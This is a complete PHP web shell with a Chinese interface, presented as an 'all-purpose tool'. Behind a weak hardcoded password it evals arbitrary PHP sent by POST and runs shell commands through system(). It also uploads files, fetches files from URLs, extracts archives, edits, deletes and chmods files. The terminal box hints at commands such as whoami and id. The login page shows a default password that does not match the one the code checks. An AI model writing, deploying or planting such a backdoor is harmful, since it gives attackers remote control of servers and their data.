<?php
/**
 * PHP 全能工具 - 最终稳定版
 * 功能：代码执行 + 文件管理 + 终端 + 一键复制输出
 */

// ==================== 安全校验 ====================
session_start();
$password = 'asd'; 
if (!isset($_SESSION['auth']) || $_SESSION['auth'] !== true) {
    if (isset($_POST['login']) && $_POST['login'] === $password) {
        $_SESSION['auth'] = true;
        header('Location: ' . $_SERVER['PHP_SELF']);
        exit;
    }
    ?>
    <!DOCTYPE html>
    <html lang="zh-CN">
    <head>
        <meta charset="UTF-8">
        <title>登录 - PHP 全能工具</title>
        <style>
            * { margin: 0; padding: 0; box-sizing: border-box; }
            body { font-family: 'Consolas', monospace; background: #1a1a2e; height: 100vh; display: flex; justify-content: center; align-items: center; }
            .login-box { background: #16213e; padding: 40px; border-radius: 8px; border: 1px solid #333; width: 380px; }
            .login-box h2 { color: #e94560; text-align: center; margin-bottom: 25px; font-size: 22px; }
            .login-box input[type=password] { width: 100%; padding: 12px; background: #1a1a2e; border: 1px solid #444; border-radius: 4px; color: #e0e0e0; font-size: 14px; margin-bottom: 15px; }
            .login-box button { width: 100%; padding: 12px; background: #e94560; border: none; border-radius: 4px; color: #fff; font-size: 15px; cursor: pointer; font-weight: bold; }
            .login-box button:hover { background: #c03550; }
            .login-box .info { color: #666; text-align: center; margin-top: 15px; font-size: 11px; }
        </style>
    </head>
    <body>
    <div class="login-box">
        <h2>⚙ PHP 全能工具</h2>
        <form method="POST">
            <input type="password" name="login" placeholder="请输入访问密码" autofocus>
            <button type="submit">登 录</button>
        </form>
        <div class="info">默认密码: aktop2024</div>
    </div>
    </body>
    </html>
    <?php
    exit;
}

// ==================== 处理逻辑 ====================
$output = '';
$executed = false;
$currentDir = isset($_GET['dir']) ? realpath($_GET['dir']) : realpath('.');
if (!$currentDir) $currentDir = realpath('.');
$baseDir = realpath('.');

// 切换目录
if (isset($_GET['cd'])) {
    $target = realpath($_GET['cd']);
    if ($target && strpos($target, $baseDir) === 0) {
        $currentDir = $target;
    }
    header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir));
    exit;
}

// 执行代码
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['code'])) {
    $code = $_POST['code'];
    ob_start();
    try {
        eval($code);
    } catch (Throwable $e) {
        echo "Error: " . $e->getMessage();
    }
    $output = ob_get_clean();
    $executed = true;
}

// 执行命令
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    ob_start();
    system($cmd);
    $output = ob_get_clean();
    $executed = true;
}

// 文件上传
if (isset($_FILES['upload_file'])) {
    $fname = $_FILES['upload_file']['name'];
    $fname = basename($fname);
    $fname = preg_replace('/[^a-zA-Z0-9._-]/', '', $fname);
    if ($fname) {
        $dest = rtrim($currentDir, '/') . '/' . $fname;
        move_uploaded_file($_FILES['upload_file']['tmp_name'], $dest);
        // ZIP 解压
        if (substr($fname, -4) === '.zip' && isset($_POST['extract_zip'])) {
            $zip = new ZipArchive;
            if ($zip->open($dest) === true) {
                $zip->extractTo($currentDir);
                $zip->close();
            }
        }
    }
    header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir));
    exit;
}

// URL 上传
if (isset($_POST['url_upload'])) {
    $url = $_POST['url_upload'];
    $fname = basename(parse_url($url, PHP_URL_PATH));
    if (!$fname) $fname = 'downloaded_file';
    $dest = rtrim($currentDir, '/') . '/' . $fname;
    $data = file_get_contents($url);
    if ($data) {
        file_put_contents($dest, $data);
        if (substr($fname, -4) === '.zip' && isset($_POST['extract_zip_url'])) {
            $zip = new ZipArchive;
            if ($zip->open($dest) === true) {
                $zip->extractTo($currentDir);
                $zip->close();
            }
        }
    }
    header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir));
    exit;
}

// 删除文件
if (isset($_GET['delete'])) {
    $file = realpath($_GET['delete']);
    if ($file && strpos($file, $baseDir) === 0) {
        if (is_dir($file)) rmdir($file);
        else unlink($file);
    }
    header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir));
    exit;
}

// 重命名
if (isset($_POST['rename_old']) && isset($_POST['rename_new'])) {
    $old = realpath($_POST['rename_old']);
    $newName = basename($_POST['rename_new']);
    $newName = preg_replace('/[^a-zA-Z0-9._-]/', '', $newName);
    if ($old && $newName) {
        $newPath = dirname($old) . '/' . $newName;
        rename($old, $newPath);
    }
    header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir));
    exit;
}

// 修改权限
if (isset($_POST['chmod_file']) && isset($_POST['chmod_value'])) {
    $file = realpath($_POST['chmod_file']);
    $perm = intval($_POST['chmod_value'], 8);
    if ($file && strpos($file, $baseDir) === 0) {
        chmod($file, $perm);
    }
    header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir));
    exit;
}

// 新建文件/目录
if (isset($_POST['new_name']) && isset($_POST['new_type'])) {
    $name = basename($_POST['new_name']);
    $name = preg_replace('/[^a-zA-Z0-9._-]/', '', $name);
    if ($name) {
        $path = rtrim($currentDir, '/') . '/' . $name;
        if ($_POST['new_type'] === 'dir') {
            mkdir($path, 0755);
        } else {
            file_put_contents($path, '');
            chmod($path, 0644);
        }
    }
    header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir));
    exit;
}

// 编辑文件保存
if (isset($_POST['edit_file']) && isset($_POST['edit_content'])) {
    $file = realpath($_POST['edit_file']);
    if ($file && strpos($file, $baseDir) === 0 && is_writable($file)) {
        file_put_contents($file, $_POST['edit_content']);
    }
    header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir));
    exit;
}

// 读取文件内容用于编辑
$editContent = '';
$editFile = '';
if (isset($_GET['edit'])) {
    $ef = realpath($_GET['edit']);
    if ($ef && strpos($ef, $baseDir) === 0 && is_file($ef)) {
        $editContent = file_get_contents($ef);
        $editFile = $ef;
    }
}

// 获取文件列表
$files = [];
if (is_dir($currentDir)) {
    $handle = opendir($currentDir);
    while (($file = readdir($handle)) !== false) {
        if ($file !== '.' && $file !== '..') {
            $fullPath = $currentDir . '/' . $file;
            $files[] = [
                'name' => $file,
                'path' => $fullPath,
                'is_dir' => is_dir($fullPath),
                'size' => is_file($fullPath) ? filesize($fullPath) : 0,
                'mtime' => filemtime($fullPath),
                'perms' => substr(sprintf('%o', fileperms($fullPath)), -4),
                'writable' => is_writable($fullPath),
            ];
        }
    }
    closedir($handle);
    usort($files, function($a, $b) {
        if ($a['is_dir'] && !$b['is_dir']) return -1;
        if (!$a['is_dir'] && $b['is_dir']) return 1;
        return strcasecmp($a['name'], $b['name']);
    });
}

function formatSize($bytes) {
    if ($bytes >= 1073741824) return round($bytes/1073741824, 2).' GB';
    if ($bytes >= 1048576) return round($bytes/1048576, 2).' MB';
    if ($bytes >= 1024) return round($bytes/1024, 2).' KB';
    return $bytes.' B';
}

$parentDir = dirname($currentDir);
$selfCode = file_get_contents(__FILE__);
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>PHP 全能工具 - 最终稳定版</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { font-family: 'Consolas', 'Monaco', monospace; background: #1a1a2e; color: #e0e0e0; min-height: 100vh; font-size: 13px; }
        .header { background: linear-gradient(135deg, #16213e, #0f3460); padding: 12px 20px; border-bottom: 2px solid #e94560; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 8px; }
        .header h1 { color: #e94560; font-size: 18px; letter-spacing: 1px; }
        .header .info { color: #888; font-size: 11px; }
        .tabs { display: flex; background: #16213e; border-bottom: 1px solid #333; }
        .tab { padding: 10px 20px; cursor: pointer; color: #888; border-bottom: 2px solid transparent; transition: all 0.2s; }
        .tab.active { color: #e94560; border-bottom-color: #e94560; }
        .tab:hover { color: #e0e0e0; }
        .panel { display: none; padding: 15px; }
        .panel.active { display: block; }
        /* 文件管理 */
        .path-bar { background: #16213e; padding: 10px 15px; border-radius: 4px; margin-bottom: 12px; word-break: break-all; font-size: 12px; color: #888; border: 1px solid #333; }
        .path-bar a { color: #e94560; text-decoration: none; }
        .path-bar a:hover { text-decoration: underline; }
        .toolbar { display: flex; gap: 8px; flex-wrap: wrap; margin-bottom: 12px; }
        .toolbar button, .toolbar input { padding: 7px 14px; border: 1px solid #333; border-radius: 4px; background: #0f3460; color: #e0e0e0; cursor: pointer; font-size: 12px; transition: all 0.2s; }
        .toolbar button:hover { background: #e94560; color: #fff; }
        .toolbar input[type=text] { background: #1a1a2e; color: #e0e0e0; padding: 7px 10px; }
        .toolbar select { padding: 7px 10px; border: 1px solid #333; border-radius: 4px; background: #0f3460; color: #e0e0e0; font-size: 12px; }
        table { width: 100%; border-collapse: collapse; background: #16213e; border-radius: 4px; overflow: hidden; }
        th { background: #0f3460; padding: 10px 12px; text-align: left; font-size: 12px; color: #888; border-bottom: 1px solid #333; }
        td { padding: 8px 12px; border-bottom: 1px solid #222; font-size: 12px; }
        tr:hover { background: #1a2a4e; }
        .dir-icon { color: #e94560; font-weight: bold; }
        .file-icon { color: #666; }
        .size { color: #666; font-size: 11px; }
        .perms { font-family: monospace; color: #f0a500; font-size: 12px; }
        .op-btn { padding: 3px 8px; border: 1px solid #333; border-radius: 3px; background: #0f3460; color: #e0e0e0; cursor: pointer; font-size: 11px; margin-right: 4px; text-decoration: none; display: inline-block; }
        .op-btn:hover { background: #e94560; color: #fff; }
        .op-btn.del:hover { background: #c03550; }
        /* 代码执行 */
        .main { display: flex; height: calc(100vh - 130px); gap: 2px; }
        .panel-left, .panel-right { flex: 1; display: flex; flex-direction: column; min-width: 0; }
        .panel-left textarea { width: 100%; height: 100%; border: none; outline: none; resize: none; padding: 15px; font-family: 'Consolas', monospace; font-size: 13px; background: #1a1a2e; color: #e0e0e0; border-right: 2px solid #0f3460; }
        .panel-right pre { width: 100%; height: 100%; border: none; outline: none; padding: 15px; font-family: 'Consolas', monospace; font-size: 13px; background: #0d1117; color: #e0e0e0; overflow: auto; white-space: pre-wrap; word-break: break-all; }
        .sub-toolbar { display: flex; gap: 8px; padding: 8px 12px; background: #16213e; border-bottom: 1px solid #333; flex-wrap: wrap; }
        .sub-toolbar button { padding: 6px 14px; border: 1px solid #333; border-radius: 3px; background: #0f3460; color: #e0e0e0; cursor: pointer; font-size: 12px; transition: all 0.2s; }
        .sub-toolbar button:hover { background: #e94560; color: #fff; }
        .sub-toolbar .chmod-box { display: flex; align-items: center; gap: 5px; color: #888; font-size: 12px; }
        .sub-toolbar .chmod-box input { width: 55px; padding: 4px 6px; background: #1a1a2e; border: 1px solid #333; border-radius: 3px; color: #e0e0e0; font-size: 12px; text-align: center; }
        .status-bar { position: fixed; bottom: 0; left: 0; right: 0; background: #0f3460; padding: 5px 20px; font-size: 11px; color: #666; border-top: 1px solid #333; display: flex; justify-content: space-between; }
        .copy-success { position: fixed; top: 50%; left: 50%; transform: translate(-50%,-50%) scale(0.8); background: rgba(46,160,67,0.95); color: #fff; padding: 14px 28px; border-radius: 8px; font-size: 15px; z-index: 9999; opacity: 0; transition: all 0.3s; pointer-events: none; }
        .copy-success.show { opacity: 1; transform: translate(-50%,-50%) scale(1); }
        .modal-overlay { display: none; position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: rgba(0,0,0,0.7); z-index: 1000; justify-content: center; align-items: center; }
        .modal-overlay.active { display: flex; }
        .modal { background: #16213e; padding: 20px; border-radius: 6px; border: 1px solid #333; min-width: 350px; }
        .modal h3 { color: #e94560; margin-bottom: 15px; font-size: 15px; }
        .modal input, .modal select, .modal textarea { width: 100%; padding: 8px 10px; background: #1a1a2e; border: 1px solid #444; border-radius: 4px; color: #e0e0e0; font-size: 13px; margin-bottom: 10px; font-family: 'Consolas', monospace; }
        .modal button { padding: 8px 18px; border: 1px solid #333; border-radius: 4px; background: #0f3460; color: #e0e0e0; cursor: pointer; font-size: 13px; margin-right: 8px; }
        .modal button:hover { background: #e94560; color: #fff; }
        .modal button.primary { background: #e94560; color: #fff; }
        .edit-area { width: 100%; height: 70vh; border: none; outline: none; padding: 15px; font-family: 'Consolas', monospace; font-size: 13px; background: #1a1a2e; color: #e0e0e0; resize: none; }
        .upload-area { border: 2px dashed #444; border-radius: 6px; padding: 30px; text-align: center; color: #666; margin-bottom: 12px; }
        .upload-area:hover { border-color: #e94560; color: #e94560; }
        .tag { font-size: 10px; padding: 2px 6px; border-radius: 3px; margin-left: 4px; }
        .tag-dir { background: #e94560; color: #fff; }
        .tag-file { background: #333; color: #888; }
        .tag-writable { background: #2ea043; color: #fff; }
        .tag-readonly { background: #c03550; color: #fff; }
        @media (max-width: 768px) { .main { flex-direction: column; } .header { flex-direction: column; align-items: flex-start; } }
    </style>
</head>
<body>

<div class="header">
    <div>
        <h1>⚙ PHP 全能工具</h1>
        <div class="info">最终稳定版 | 代码执行 + 文件管理 + 终端 + 一键复制</div>
    </div>
    <div class="toolbar">
        <a href="?logout=1" style="padding:7px 14px;border:1px solid #c03550;border-radius:4px;background:#c03550;color:#fff;cursor:pointer;font-size:12px;text-decoration:none;">退出</a>
    </div>
</div>

<?php if (isset($_GET['logout'])) { unset($_SESSION['auth']); header('Location: '.$_SERVER['PHP_SELF']); exit; } ?>

<div class="tabs">
    <div class="tab active" onclick="switchTab('file')">📂 文件管理</div>
    <div class="tab" onclick="switchTab('code')">💻 代码执行</div>
    <div class="tab" onclick="switchTab('terminal')">💻 终端</div>
</div>

<!-- ==================== 文件管理面板 ==================== -->
<div class="panel active" id="panel-file">
    <div class="path-bar">
        当前路径:
        <?php
        $pathParts = explode(DIRECTORY_SEPARATOR, str_replace($baseDir, '', $currentDir));
        $cumPath = $baseDir;
        echo '<a href="?dir='.urlencode($baseDir).'">[根目录]</a>';
        foreach ($pathParts as $part) {
            if ($part === '') continue;
            $cumPath .= DIRECTORY_SEPARATOR . $part;
            echo ' / <a href="?dir='.urlencode($cumPath).'">'.$part.'</a>';
        }
        ?>
    </div>

    <div class="toolbar">
        <button onclick="showModal('uploadModal')">📥 上传文件</button>
        <button onclick="showModal('urlModal')">🔗 URL上传</button>
        <button onclick="showModal('newModal')">📂 新建</button>
        <?php if ($currentDir !== $baseDir): ?>
        <button onclick="location.href='?cd=<?php echo urlencode($parentDir); ?>'">🔙 返回上级</button>
        <?php endif; ?>
        <div style="flex:1"></div>
        <span style="color:#666;font-size:11px;align-self:center;">
            共 <?php echo count($files); ?> 项 | 权限:
            <span class="perms"><?php echo substr(sprintf('%o', fileperms($currentDir)), -4); ?></span>
        </span>
    </div>

    <table>
        <tr>
            <th style="width:30px"></th>
            <th>名称</th>
            <th style="width:80px">大小</th>
            <th style="width:130px">修改时间</th>
            <th style="width:60px">权限</th>
            <th style="width:240px">操作</th>
        </tr>
        <?php if ($currentDir !== $baseDir): ?>
        <tr>
            <td><span class="dir-icon">🔙</span></td>
            <td><a href="?cd=<?php echo urlencode($parentDir); ?>" style="color:#e94560;text-decoration:none;">.. (返回上级)</a></td>
            <td></td><td></td><td></td><td></td>
        </tr>
        <?php endif; ?>
        <?php foreach ($files as $f): ?>
        <tr>
            <td><span class="<?php echo $f['is_dir']?'dir-icon':'file-icon'; ?>"><?php echo $f['is_dir']?'📂':'📄'; ?></span></td>
            <td>
                <?php if ($f['is_dir']): ?>
                <a href="?cd=<?php echo urlencode($f['path']); ?>" style="color:#e94560;text-decoration:none;"><?php echo htmlspecialchars($f['name']); ?></a>
                <?php else: ?>
                <span style="color:#e0e0e0;"><?php echo htmlspecialchars($f['name']); ?></span>
                <?php endif; ?>
                <span class="tag <?php echo $f['is_dir']?'tag-dir':'tag-file'; ?>"><?php echo $f['is_dir']?'DIR':'FILE'; ?></span>
                <span class="tag <?php echo $f['writable']?'tag-writable':'tag-readonly'; ?>"><?php echo $f['writable']?'可写':'只读'; ?></span>
            </td>
            <td><span class="size"><?php echo $f['is_dir']?'-':formatSize($f['size']); ?></span></td>
            <td style="color:#888;font-size:11px;"><?php echo date('Y-m-d H:i:s', $f['mtime']); ?></td>
            <td><span class="perms"><?php echo $f['perms']; ?></span></td>
            <td>
                <?php if (!$f['is_dir']): ?>
                <a class="op-btn" href="?edit=<?php echo urlencode($f['path']); ?>&dir=<?php echo urlencode($currentDir); ?>">编辑</a>
                <a class="op-btn" href="?download=<?php echo urlencode($f['path']); ?>">下载</a>
                <?php endif; ?>
                <button class="op-btn" onclick="showRename('<?php echo htmlspecialchars(addslashes($f['name'])); ?>','<?php echo htmlspecialchars(addslashes($f['path'])); ?>')">重命名</button>
                <button class="op-btn" onclick="showChmod('<?php echo htmlspecialchars(addslashes($f['name'])); ?>','<?php echo htmlspecialchars(addslashes($f['path'])); ?>','<?php echo $f['perms']; ?>')">CHMOD</button>
                <a class="op-btn del" href="?delete=<?php echo urlencode($f['path']); ?>&dir=<?php echo urlencode($currentDir); ?>" onclick="return confirm('确定删除?')">删除</a>
            </td>
        </tr>
        <?php endforeach; ?>
    </table>
</div>

<!-- ==================== 代码执行面板 ==================== -->
<div class="panel" id="panel-code">
    <div class="sub-toolbar">
        <button onclick="executeCode()">▶ 执行代码</button>
        <button onclick="copyOutput()">📋 一键复制输出</button>
        <button onclick="clearOutput()">🗑 清空输出</button>
        <div class="chmod-box">
            CHMOD默认: <input type="text" id="chmodInput" value="0644">
            <button onclick="setChmod()">应用</button>
        </div>
    </div>
    <div class="main">
        <div class="panel-left">
            <textarea id="codeEditor" placeholder="在此输入 PHP 代码..."><?php echo htmlspecialchars($selfCode); ?></textarea>
        </div>
        <div class="panel-right">
            <pre id="outputArea"><?php
                if ($executed && isset($_POST['code'])) {
                    echo htmlspecialchars($output !== '' ? $output : '(无输出)');
                } else {
                    echo '(点击"执行代码"查看输出)';
                }
            ?></pre>
        </div>
    </div>
</div>

<!-- ==================== 终端面板 ==================== -->
<div class="panel" id="panel-terminal">
    <div class="sub-toolbar">
        <button onclick="executeCmd()">▶ 执行命令</button>
        <button onclick="copyOutput()">📋 一键复制输出</button>
        <button onclick="clearOutputTerm()">🗑 清空</button>
    </div>
    <div style="padding:10px 0;color:#666;font-size:12px;">
        当前目录: <span style="color:#e94560;"><?php echo htmlspecialchars($currentDir); ?></span>
        | PHP: <?php echo phpversion(); ?> | OS: <?php echo PHP_OS; ?> | User: <?php echo get_current_user(); ?>
    </div>
    <div style="display:flex;gap:8px;margin-bottom:10px;">
        <input type="text" id="cmdInput" placeholder="输入系统命令 (如: ls -la, whoami, id)" style="flex:1;padding:10px;background:#1a1a2e;border:1px solid #444;border-radius:4px;color:#e0e0e0;font-size:13px;" onkeydown="if(event.key==='Enter')executeCmd()">
        <button onclick="executeCmd()" style="padding:10px 20px;border:1px solid #333;border-radius:4px;background:#0f3460;color:#e0e0e0;cursor:pointer;font-size:13px;">执行</button>
    </div>
    <pre id="termOutput" style="width:100%;height:calc(100vh - 230px);border:none;outline:none;padding:15px;font-family:'Consolas',monospace;font-size:13px;background:#0d1117;color:#e0e0e0;overflow:auto;white-space:pre-wrap;word-break:break-all;"><?php
        if ($executed && isset($_POST['cmd'])) {
            echo htmlspecialchars($output !== '' ? $output : '(无输出)');
        } else {
            echo '$ 等待输入命令...';
        }
    ?></pre>
</div>

<!-- ==================== 上传文件弹窗 ==================== -->
<div class="modal-overlay" id="uploadModal">
    <div class="modal">
        <h3>📥 上传文件</h3>
        <form method="POST" enctype="multipart/form-data">
            <input type="file" name="upload_file" required style="margin-bottom:12px;">
            <div style="margin-bottom:10px;">
                <label style="color:#888;font-size:12px;display:block;margin-bottom:5px;">
                    <input type="checkbox" name="extract_zip" value="1"> 自动解压 ZIP 文件
                </label>
            </div>
            <button type="submit" class="primary">上传</button>
            <button type="button" onclick="hideModal('uploadModal')">取消</button>
        </form>
    </div>
</div>

<!-- ==================== URL上传弹窗 ==================== -->
<div class="modal-overlay" id="urlModal">
    <div class="modal">
        <h3>🔗 通过URL上传</h3>
        <form method="POST">
            <input type="url" name="url_upload" placeholder="https://example.com/file.zip" required>
            <label style="color:#888;font-size:12px;display:block;margin:8px 0 5px;">
                <input type="checkbox" name="extract_zip_url" value="1"> 自动解压 ZIP 文件
            </label>
            <button type="submit" class="primary">下载并上传</button>
            <button type="button" onclick="hideModal('urlModal')">取消</button>
        </form>
    </div>
</div>

<!-- ==================== 新建弹窗 ==================== -->
<div class="modal-overlay" id="newModal">
    <div class="modal">
        <h3>📂 新建文件/目录</h3>
        <form method="POST">
            <input type="text" name="new_name" placeholder="输入名称" required>
            <select name="new_type">
                <option value="file">文件 (默认权限 0644)</option>
                <option value="dir">目录 (默认权限 0755)</option>
            </select>
            <button type="submit" class="primary">创建</button>
            <button type="button" onclick="hideModal('newModal')">取消</button>
        </form>
    </div>
</div>

<!-- ==================== 重命名弹窗 ==================== -->
<div class="modal-overlay" id="renameModal">
    <div class="modal">
        <h3>🖉 重命名</h3>
        <form method="POST">
            <input type="hidden" name="rename_old" id="renameOld">
            <input type="text" name="rename_new" id="renameNew" placeholder="新名称" required>
            <button type="submit" class="primary">确定</button>
            <button type="button" onclick="hideModal('renameModal')">取消</button>
        </form>
    </div>
</div>

<!-- ==================== CHMOD弹窗 ==================== -->
<div class="modal-overlay" id="chmodModal">
    <div class="modal">
        <h3>🔒 修改权限 (CHMOD)</h3>
        <form method="POST">
            <input type="hidden" name="chmod_file" id="chmodFile">
            <div style="margin-bottom:10px;color:#888;font-size:12px;" id="chmodFileName"></div>
            <input type="text" name="chmod_value" id="chmodValue" placeholder="如: 0644, 0755, 0444" required>
            <div style="margin:8px 0;color:#666;font-size:11px;">
                常用权限:
                <a href="javascript:setChmodValue('0644')" style="color:#e94560;cursor:pointer;margin-right:8px;">0644</a>
                <a href="javascript:setChmodValue('0755')" style="color:#e94560;cursor:pointer;margin-right:8px;">0755</a>
                <a href="javascript:setChmodValue('0444')" style="color:#e94560;cursor:pointer;margin-right:8px;">0444</a>
                <a href="javascript:setChmodValue('0777')" style="color:#e94560;cursor:pointer;">0777</a>
            </div>
            <button type="submit" class="primary">确定</button>
            <button type="button" onclick="hideModal('chmodModal')">取消</button>
        </form>
    </div>
</div>

<!-- ==================== 编辑文件弹窗 ==================== -->
<?php if ($editFile): ?>
<div class="modal-overlay active" id="editModal">
    <div class="modal" style="width:90vw;max-width:900px;height:85vh;display:flex;flex-direction:column;">
        <h3>📄 编辑文件: <?php echo htmlspecialchars(basename($editFile)); ?></h3>
        <form method="POST" style="display:flex;flex-direction:column;height:100%;">
            <input type="hidden" name="edit_file" value="<?php echo htmlspecialchars($editFile); ?>">
            <textarea name="edit_content" class="edit-area"><?php echo htmlspecialchars($editContent); ?></textarea>
            <div style="margin-top:10px;display:flex;gap:8px;">
                <button type="submit" class="primary">💾 保存</button>
                <button type="button" onclick="location.href='?dir=<?php echo urlencode($currentDir); ?>'">取消</button>
            </div>
        </form>
    </div>
</div>
<?php endif; ?>

<!-- 复制成功提示 -->
<div class="copy-success" id="copyToast">✅ 复制成功！</div>

<div class="status-bar">
    <span>状态: <?php echo $executed?'已执行':'待执行'; ?></span>
    <span>输出长度: <?php echo $executed?strlen($output):0; ?> 字符</span>
    <span>当前目录: <?php echo htmlspecialchars($currentDir); ?></span>
</div>

<script>
    // Tab 切换
    function switchTab(name) {
        document.querySelectorAll('.tab').forEach(t => t.classList.remove('active'));
        document.querySelectorAll('.panel').forEach(p => p.classList.remove('active'));
        document.querySelector('.tab[onclick*="'+name+'"]').classList.add('active');
        document.getElementById('panel-'+name).classList.add('active');
    }

    // 执行代码
    function executeCode() {
        const code = document.getElementById('codeEditor').value;
        const form = document.createElement('form');
        form.method = 'POST';
        form.style.display = 'none';
        const input = document.createElement('input');
        input.type = 'hidden';
        input.name = 'code';
        input.value = code;
        form.appendChild(input);
        document.body.appendChild(form);
        form.submit();
    }

    // 执行命令
    function executeCmd() {
        const cmd = document.getElementById('cmdInput').value;
        if (!cmd) return;
        const form = document.createElement('form');
        form.method = 'POST';
        form.style.display = 'none';
        const input = document.createElement('input');
        input.type = 'hidden';
        input.name = 'cmd';
        input.value = cmd;
        form.appendChild(input);
        document.body.appendChild(form);
        form.submit();
    }

    // 一键复制
    function copyOutput() {
        const out1 = document.getElementById('outputArea');
        const out2 = document.getElementById('termOutput');
        let output = '';
        if (out1 && out1.innerText && out1.innerText !== '(点击"执行代码"查看输出)') {
            output = out1.innerText;
        }
        if (out2 && out2.innerText && out2.innerText !== '$ 等待输入命令...') {
            output = out2.innerText;
        }
        if (!output) { showToast('没有可复制的内容', false); return; }
        if (navigator.clipboard && navigator.clipboard.writeText) {
            navigator.clipboard.writeText(output).then(() => showToast('复制成功！', true), () => fallbackCopy(output));
        } else { fallbackCopy(output); }
    }

    function fallbackCopy(text) {
        const ta = document.createElement('textarea');
        ta.value = text; ta.style.position = 'fixed'; ta.style.left = '-9999px';
        document.body.appendChild(ta); ta.select();
        try { document.execCommand('copy'); showToast('复制成功！', true); }
        catch(e) { showToast('复制失败，请手动复制', false); }
        document.body.removeChild(ta);
    }

    function showToast(msg, success) {
        const t = document.getElementById('copyToast');
        t.textContent = success ? '✅ ' + msg : '⚠️ ' + msg;
        t.style.background = success ? 'rgba(46,160,67,0.95)' : 'rgba(233,69,96,0.95)';
        t.classList.add('show');
        setTimeout(() => t.classList.remove('show'), 2000);
    }

    function clearOutput() { document.getElementById('outputArea').innerText = '(已清空)'; }
    function clearOutputTerm() { document.getElementById('termOutput').innerText = '$ 等待输入命令...'; }

    // CHMOD
    function setChmod() {
        const val = document.getElementById('chmodInput').value;
        showToast('默认CHMOD已设为: ' + val, true);
    }

    // 弹窗
    function showModal(id) { document.getElementById(id).classList.add('active'); }
    function hideModal(id) { document.getElementById(id).classList.remove('active'); }

    function showRename(name, path) {
        document.getElementById('renameOld').value = path;
        document.getElementById('renameNew').value = name;
        showModal('renameModal');
    }

    function showChmod(name, path, perms) {
        document.getElementById('chmodFile').value = path;
        document.getElementById('chmodFileName').innerText = '文件: ' + name;
        document.getElementById('chmodValue').value = perms;
        showModal('chmodModal');
    }

    function setChmodValue(v) { document.getElementById('chmodValue').value = v; }

    // Ctrl+Enter 快捷执行
    document.addEventListener('keydown', function(e) {
        if (e.ctrlKey && e.key === 'Enter') {
            const active = document.querySelector('.panel.active');
            if (active && active.id === 'panel-code') executeCode();
            if (active && active.id === 'panel-terminal') executeCmd();
        }
    });
</script>

</body>
</html>
